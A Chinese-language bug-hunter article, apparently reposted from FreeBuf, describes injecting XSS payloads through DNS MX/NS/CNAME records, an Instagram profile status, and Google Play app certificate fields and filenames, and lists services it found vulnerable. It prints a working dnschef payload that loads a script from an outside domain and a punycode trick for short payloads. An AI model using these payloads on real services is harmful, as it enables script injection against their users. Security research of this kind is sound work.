我们要在任何可能的地方测试XSS漏洞

在这篇文章中,我准备跟大家讨论几种不同的场景,在这些场景中,不同的服务都会收集各种各样的数据,但它们又无法正确地去处理这些数据。在某些情况下,数据采用的是安全格式存储和传输的,但是由于数据的解析操作以及进一步处理的过程中存在安全问题,将导致无害的字符串变成攻击向量。

XSS和DNS

如果你在搜索引擎中搜索“通过DNS实现XSS”(XSS via DNS)的相关话题,你将会看到类似【参考资料一】和【参考资料二】这种介绍如何在TXT记录中传递XSS攻击向量的文章。但是为什么没有人考虑过其他类型的记录呢?比如说CNAME或NS之类的。因为如果你想把域名作为一个攻击向量的话,你还需要创建自己的NS服务器。

也许使用DNSCHEF会是一个好主意。

我使用的子域名是hack.bo0om.ru(任何子域名都可以),并且将我的IP设置成了该域名的NS服务器。接下来修改dnschef.ini并完成dnschef的配置,添加下列记录:

[MX] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>[NS] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>[CNAME]*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>

如果某个在线服务得到了DNS数据之后还将它们打印在了屏幕上,只能说明该服务忘记过滤掉这些数据了。

下面是一些存在XSS漏洞的例子:

· who.is · robtex.com · dnsqueries.com · etc

XSS和Instagram

有一次我只是为了好玩,然后将一段XSS Payload添加到了我Instagram的个人状态中。一开始没发生什么有趣的事,而且这个XSS Payload也是没有攻击性的。

但是之后我发现,这个XSS Payload竟然在另外的域名和在线服务中起作用了,从我的Web服务器日志记录来看,这些域名貌似指向的是社交网络解析器和一些分析服务。下面给出的是其中部分示例:

· findgram.me · imgrab.com · instagy.com · iconosquare.com · tofo.me · photo.sh · gramosphere.com

不过其中有一部分已经修复了这个漏洞。

XSS和Google Play

最近,@Black2Fan给我发了一条信息,并问我能不能够在Google Play应用商店上传存在XSS漏洞的Android App。我当时都不知道竟然还有这种操作!但我感觉可行。于是我自己弄了一个App,然后为这个App生成了一个证书,并将其中的开发者名称和其他数据用XSS向量进行了替换。

我用一些包含恶意代码的文件以及文件路径组成了一个有效的页面标签,并从我自己的域名加载相应的脚本文件。

注:Linux系统支持在文件名中使用特殊字符。

虽然我们可以在文件名中注入自己的脚本代码,但坏消息是这里有30个字符的限制。不幸的是,我手上可以使用的域名都有点长,而且那些只有一个或两个字符的域名估计都已经被注册掉了。但是在现代Web中,你可以使用punycode编码来注册域名,而且现在还有很多免费的punycode域名没有被注册。比如说xn—g3h。所以我注册了一个.ws域名(请参考下图,有个符号这里打不出来,包括点号在内一共四个字符)。

这个App目前仍然可以在Google Play应用商店中找到【传送门】,但是它随时可能被删掉。

而且更加有趣的是,当我将这个App上传到VirusTotal之后,其中的XSS向量竟然触发了反病毒产品Web端面板中的漏洞。哈哈哈…而且除了VirusTotla之外,还有两家天朝的安全厂商也存在这种问题,但这里我就不直接提他们的名字了。

总结

作为一个Bug Hunter,虽然我这一次的发现没能拿到漏洞奖金,但希望可以给大家提供一种新的挖洞思路,其实我也只是为了好玩而已:D不喜勿喷

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-08-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏无题

mongoDB运作原理与分片实现

觉得这一篇整理比较好,主要在于通俗易懂,逻辑清晰。但是网上转载的人太多了,我实在找不到原作者了。 关于MongoDB,我们能看到的资料,基本都是在指导大家如何使...

73340
来自专栏服务端技术杂谈

乐视支付架构

架构 乐视 订单架构 分库分表 构建一个支撑每秒十万只读系统并不复杂,无非是通过一致性哈希扩展缓存节点,水平扩展web服务器等。每秒钟数十万数据更新操作,在任何...

38480
来自专栏程序员笔记

开发一个可维护的程序

19040
来自专栏向治洪

JavaScript 的时间消耗

随着我们的网站越来越依赖 JavaScript, 我们有时会(无意)用一些不易追踪的方式来传输一些(耗时的)东西. 在这篇文章中, 我会介绍一些能让你的网站在移...

23870
来自专栏北京马哥教育

Ext3 和 ext4 文件系统在线调整大小内幕

磁盘布局 为了更好的理解在线调整大小工作机制,我们首先需要理解 ext3 和 ext4 文件系统的磁盘布局,对于该功能的实现来说,这两个文件系统在磁盘上的结构是...

48560

3种提升云可扩展性的方法

部署在亚马逊的云服务器中被认为是实现高可扩展性的好方法,同时只需要为您所使用的计算能力支付费用。不过您要如何从技术中获得最佳的可扩展性呢?

281100
来自专栏高性能服务器开发

(八)高性能服务器架构设计总结1——以flamigo服务器代码为例

这篇文章算是对这个系列的一个系统性地总结。我们将介绍服务器的开发,并从多个方面探究如何开发一款高性能高并发的服务器程序。

19820
来自专栏DT乱“码”

转 LVS 负载均衡

36420
来自专栏大数据和云计算技术

Google资源管理器简析

9.2.2 Borg[1] Borg是一个集群管理器,负责对来自几千个应用程序所提交的Job进行接收、调试、启动、停止、重启和监控,这些Job将用于不同的服务...

38060
来自专栏沃趣科技

ASM 翻译系列第十一弹:高级知识 Offline or drop?

原作者:Bane Radulovic 译者: 庄培培 审核: 魏兴华 DBGeeK社群联合出品 Offline or drop? 当一个ASM磁盘不...

39840

扫码关注云+社区

领取腾讯云代金券